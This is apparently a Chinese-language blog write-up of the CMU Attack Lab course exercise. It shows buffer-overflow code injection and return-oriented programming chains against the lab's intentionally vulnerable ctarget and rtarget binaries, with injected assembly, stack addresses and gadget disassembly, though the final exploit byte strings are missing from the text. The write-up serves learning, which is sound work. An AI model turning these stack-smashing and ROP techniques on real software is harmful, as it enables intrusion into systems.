Attack-lab记录

前言

一定要仔细要看Write Up,跟着它一步步来会轻松很多

因为这个Lab涉及到的内容比较多,Write Up中有一步一步的提示

我在做BombLab的时候以为我会gdb的基础使用就没看Write Up,然后我忘记有objdump这个东西了,导致我在gdb里把反汇编一张一张截图下来…🤣

Part1-Code Injection Attacks

1-1

先看看ctarget是什么情况

1
2
3
4
5
$ ./ctarget -q
Cookie: 0x59b997fa
Type string:testing
No exploit. Getbuf returned 0x1
Normal return

-q参数表示不连接打分服务器(我们不是cmu的学生所以连接不上服务器)

根据提示,我们的输入是由一个叫做getbuf的函数处理的,我们的目标是利用缓冲区溢出跳转到touch1函数

1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

用反汇编程序objdump查看getbuf函数的汇编代码objdump -d ctarget > ctarget.txt

`getbuf反汇编`

sub $0x28,%rsp在内存中开辟了一块0x28大小的空间,也就是40字节,rsp(栈顶指针)被赋值给了rdi作为get的参数,所以我们的输入存储在栈顶

搜索touch1函数,发现它的地址是0x4017c0,又由于Intel采用了小端序,所以输入应该是

输入cat in.txt | ./hex2raw | ./ctarget -q运行,

成功!

1-2

第二个就没有第一个那么简单了,先看看touch2函数的代码

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

我们不仅仅需要跳转到touch2,还要把cookies作为参数传进去

由于这个函数只有一个参数,参数是通过rdi寄存器来传递的,所以应该把cookie放在rdi中

所以应该在输入中构建一串机器代码,然后利用修改返回值让它指向栈顶,以运行我们的代码

对应的汇编代码为:

1
2
3
4
mov    $0x59b997fa,%edi
push $0x4017ec
ret

把它存在as.s中
gcc -c as.s,objdump -d as.o > as.txt就可以看到反汇编代码了

用gdb给getbuf打上断点,info reg rsp查看当时栈顶的地址,是0x5561dc78

所以应该是这样

PASS!

1-3

touch3需要传递一个字符串,先看看touch3的代码

1
2
3
4
5
6
7
8
9
10
11
12
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

传递的字符串应该是coookie

同时,还有一个hexmatch函数

1
2
3
4
5
6
7
8
9
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

要注意的是,在调用hexmatchstrncmp的时候,栈上的空间可能会被覆盖掉

我的cookie是59b997fa,查询ascii码对照表,应该是35 39 62 39 39 37 66 61,由于小端法,应该把它分成39 62 39 3561 66 37 39两块,我先把它放置在栈顶,同上可得

运行,发现不太行

传入的是一个空字符串,说明栈顶的空间被覆盖了

于是我用gdb给getbuf打上断点,查看当时栈的情况

我发现在getbuf分配的空间后有大段没有使用的空间,于是我打算把cookies存放在这里

1
2
3
4
5
6
7
mov    $0x39623935,0x70(%rsp)
mov $0x61663739,0x74(%rsp)
mov $0x00000000,0x78(%rsp)
mov $0x5561dd18,%edi
push $0x4018fa
ret

结束!

cat in2.txt | ./hex2raw | ./ctarget -q

Part2-Return-Oriented Programming

2-2

照常使用objdump -d rtarget > rtarget.txt查看rtarget的汇编代码

Write UP中提示我们这道题只需要使用从start_farmmid_farm之间的代码,使用%rax–%rdi之间的寄存器,注意movq,popq,ret,nop这几个函数就行了,并且需要两次跳转,并且可能要用到的指令编码给了我们

我们可以使用pop来把cookie存入寄存器中,我们依次在函数中寻找pop的编码发现只能找到popq %rax的编码58

1
2
3
4
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq

由于需要把cookie存入%rdi中,所以我们需要找到movq %rax,%rdi的编码48 89 c7,我发现在setval_426addval_273中有合适的编码

1
2
3
4
5
6
7
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3

随便选择一个都行,我选择了setval_273

所以我们的输入应该是

其中第11行是返回地址,修改成了第一个”gadget”的地址,它从栈中取出cookie,并把它存入寄存器%rax中,并跳转到第15行存储的地址(第二个”gadget”)

第二个”gadget”把%rax的值存入%rdi中,并返回到第17行存储的地址(touch2函数)

2-3

先看看来自CMU的官方劝退:😁

Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string
representation of your cookie. That may not seem significantly more difficult than using an ROP attack to
invoke touch2, except that we have made it so. Moreover, Phase 5 counts for only 5 points, which is not a
true measure of the effort it will require. Think of it as more an extra credit problem for those who want to go beyond the normal expectations for the course.

最后道题,显而易见地难多了,Write Up中提示我们这道题可以使用从start_farmend_farm的全部内容,需要用到8次”gadget”,而且可能相同.

可以用的指令也更多了

由于启动了栈随机化,每次运行栈的位置都会变化,所以应该先获取rsp的值,再加上一个偏移量来计算cookie字符串的地址

很容易就能想到leaq指令,我还以为要再通过编码找leaq,但我很快就发现在add_xy函数里有现成的lea指令可以用

1
2
3
4
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq

所以首先要想办法把rsp的值拷贝出来,搜索48 89 e,发现只有把rsp存入rax的指令

1
2
3
4
0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) //48 89 e0
401ab1: c3 retq

正好,找到一个”gadget”(48 89 c7)能把rax复制到rdi

1
2
3
4
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq

偏移量就只能用popqpop到rax中了,但是在可以使用的函数中只能查找到movq %rax %rdi的编码48 89 c7,却又无法找到把rdi的值存入其他寄存器中的”gadget”

在这个地方我卡壳了好久,然后我发现有一张movl编码的表我还没有用到

我突然意识到,这个数据是用来存放偏置值的,所以movl绝对够用

经过一番查找,我发现可以利用下面几个”gadget”来完成这个任务

1
2
3
4
5
6
7
8
9
10
11
12
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax //89 c2 :movl %eax %edx
4019e0: c3 retq

0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax //89 d1 :movl %edx %ecx, 38 c9:cmpb %cl %cl
401a38: c3 retq

0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax //89 ce :movl %ecx %esi
401a17: c3 retq

综上,我的思路是:

然后就可以编写输入了

PASS!


Attack-lab记录
https://20040702.xyz/2023/09/26/Attack-lab/
作者
Seeker
发布于
2023年9月26日
许可协议